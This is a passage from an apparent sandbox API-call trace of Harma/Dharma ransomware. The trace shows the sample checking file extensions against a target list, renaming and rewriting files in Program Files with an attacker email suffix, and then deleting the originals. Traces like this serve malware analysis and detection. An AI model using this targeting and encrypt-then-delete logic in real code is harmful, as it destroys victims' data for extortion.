Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.250] lstrlenW (lpString=".zip") returned 4 [0133.250] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.250] lstrlenW (lpString=".rar") returned 4 [0133.250] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.251] lstrlenW (lpString=".bz2") returned 4 [0133.251] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.251] lstrlenW (lpString=".7z") returned 3 [0133.251] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.251] lstrlenW (lpString=".dbf") returned 4 [0133.251] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.251] lstrlenW (lpString=".1cd") returned 4 [0133.251] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.251] lstrlenW (lpString=".jpg") returned 4 [0133.251] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.251] lstrlenW (lpString=".doc") returned 4 [0133.251] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.251] lstrlenW (lpString=".docx") returned 5 [0133.251] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0133.251] lstrlenW (lpString=".pdf") returned 4 [0133.251] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.251] lstrlenW (lpString=".xls") returned 4 [0133.252] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.252] lstrlenW (lpString=".xlsx") returned 5 [0133.252] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0133.252] lstrlenW (lpString=".ppt") returned 4 [0133.252] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.252] lstrlenW (lpString=".zip") returned 4 [0133.252] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.252] lstrlenW (lpString=".rar") returned 4 [0133.252] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.252] lstrlenW (lpString=".bz2") returned 4 [0133.252] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.252] lstrlenW (lpString=".7z") returned 3 [0133.252] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.252] lstrlenW (lpString=".dbf") returned 4 [0133.252] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.252] lstrlenW (lpString=".1cd") returned 4 [0133.252] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui") returned 74 [0133.252] lstrlenW (lpString=".jpg") returned 4 [0133.252] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.252] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.253] lstrlenW (lpString="IPSEventLogMsg.dll.mui") returned 22 [0133.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0133.253] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=22528) returned 1 [0133.253] CloseHandle (hObject=0x2a0) returned 1 [0133.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0133.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.254] lstrlenW (lpString=".doc") returned 4 [0133.254] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.254] lstrlenW (lpString=".docx") returned 5 [0133.254] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.254] lstrlenW (lpString=".pdf") returned 4 [0133.254] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.254] lstrlenW (lpString=".xls") returned 4 [0133.254] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.254] lstrlenW (lpString=".xlsx") returned 5 [0133.254] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.254] lstrlenW (lpString=".ppt") returned 4 [0133.254] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.254] lstrlenW (lpString=".zip") returned 4 [0133.254] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.254] lstrlenW (lpString=".rar") returned 4 [0133.254] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.254] lstrlenW (lpString=".bz2") returned 4 [0133.254] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.254] lstrlenW (lpString=".7z") returned 3 [0133.254] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.254] lstrlenW (lpString=".dbf") returned 4 [0133.254] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.254] lstrlenW (lpString=".1cd") returned 4 [0133.254] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.254] lstrlenW (lpString=".jpg") returned 4 [0133.254] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString=".doc") returned 4 [0133.255] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.255] lstrlenW (lpString=".docx") returned 5 [0133.255] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.255] lstrlenW (lpString=".pdf") returned 4 [0133.255] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.255] lstrlenW (lpString=".xls") returned 4 [0133.255] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.255] lstrlenW (lpString=".xlsx") returned 5 [0133.255] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.255] lstrlenW (lpString=".ppt") returned 4 [0133.255] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString=".zip") returned 4 [0133.255] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.255] lstrlenW (lpString=".rar") returned 4 [0133.255] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.255] lstrlenW (lpString=".bz2") returned 4 [0133.255] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.255] lstrlenW (lpString=".7z") returned 3 [0133.255] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString=".dbf") returned 4 [0133.255] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString=".1cd") returned 4 [0133.255] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned 79 [0133.255] lstrlenW (lpString=".jpg") returned 4 [0133.255] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.256] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.256] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0133.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0133.256] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=2560) returned 1 [0133.256] CloseHandle (hObject=0x2a0) returned 1 [0133.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0133.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.257] lstrlenW (lpString=".doc") returned 4 [0133.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.257] lstrlenW (lpString=".docx") returned 5 [0133.257] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.257] lstrlenW (lpString=".pdf") returned 4 [0133.257] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.257] lstrlenW (lpString=".xls") returned 4 [0133.257] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.257] lstrlenW (lpString=".xlsx") returned 5 [0133.257] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.257] lstrlenW (lpString=".ppt") returned 4 [0133.257] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.257] lstrlenW (lpString=".zip") returned 4 [0133.257] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.257] lstrlenW (lpString=".rar") returned 4 [0133.257] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.257] lstrlenW (lpString=".bz2") returned 4 [0133.257] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.257] lstrlenW (lpString=".7z") returned 3 [0133.257] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.257] lstrlenW (lpString=".dbf") returned 4 [0133.257] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.257] lstrlenW (lpString=".1cd") returned 4 [0133.257] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.257] lstrlenW (lpString=".jpg") returned 4 [0133.257] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString=".doc") returned 4 [0133.258] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.258] lstrlenW (lpString=".docx") returned 5 [0133.258] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.258] lstrlenW (lpString=".pdf") returned 4 [0133.258] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.258] lstrlenW (lpString=".xls") returned 4 [0133.258] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.258] lstrlenW (lpString=".xlsx") returned 5 [0133.258] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.258] lstrlenW (lpString=".ppt") returned 4 [0133.258] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString=".zip") returned 4 [0133.258] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.258] lstrlenW (lpString=".rar") returned 4 [0133.258] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.258] lstrlenW (lpString=".bz2") returned 4 [0133.258] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.258] lstrlenW (lpString=".7z") returned 3 [0133.258] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString=".dbf") returned 4 [0133.258] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString=".1cd") returned 4 [0133.258] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0133.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83 [0133.258] lstrlenW (lpString=".jpg") returned 4 [0133.258] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0133.259] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0133.259] lstrlenW (lpString="micaut.dll.mui") returned 14 [0133.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0133.260] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=8704) returned 1 [0133.260] CloseHandle (hObject=0x2a0) returned 1 [0133.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0133.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0133.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0133.260] lstrlenW (lpString=".doc") returned 4 [0133.260] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0133.260] lstrlenW (lpString=".docx") returned 5 [0133.260] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0133.260] lstrlenW (lpString=".pdf") returned 4 [0133.260] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0133.260] lstrlenW (lpString=".xls") returned 4 [0133.260] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0133.260] lstrlenW (lpString=".xlsx") returned 5 [0133.260] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0133.260] lstrlenW (lpString=".ppt") returned 4 [0133.260] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0133.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui") returned 71 [0133.260] lstrlenW (lpString=".zip") returned 4 [0133.260] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0133.261] lstrlenW (lpString=".rar") returned 4 [0133.261] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0133.261] lstrlenW (lpString=".bz2") returned 4 [0133.261] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0133.261] lstrlenW (lpString=".7z") returned 3 [0133.261] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0133.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.091] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0136.091] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.169] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.169] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0137.176] GetLastError () returned 0x0 [0137.176] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x246a, lpOverlapped=0x0) returned 1 [0137.196] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2470, lpOverlapped=0x0) returned 1 [0137.198] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.199] WriteFile (in: hFile=0x340, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.199] SetEndOfFile (hFile=0x340) returned 1 [0137.199] CloseHandle (hObject=0x340) returned 1 [0137.199] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.199] SetEndOfFile (hFile=0x214) returned 1 [0137.203] CloseHandle (hObject=0x214) returned 1 [0137.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid")) returned 1 [0137.205] lstrlenW 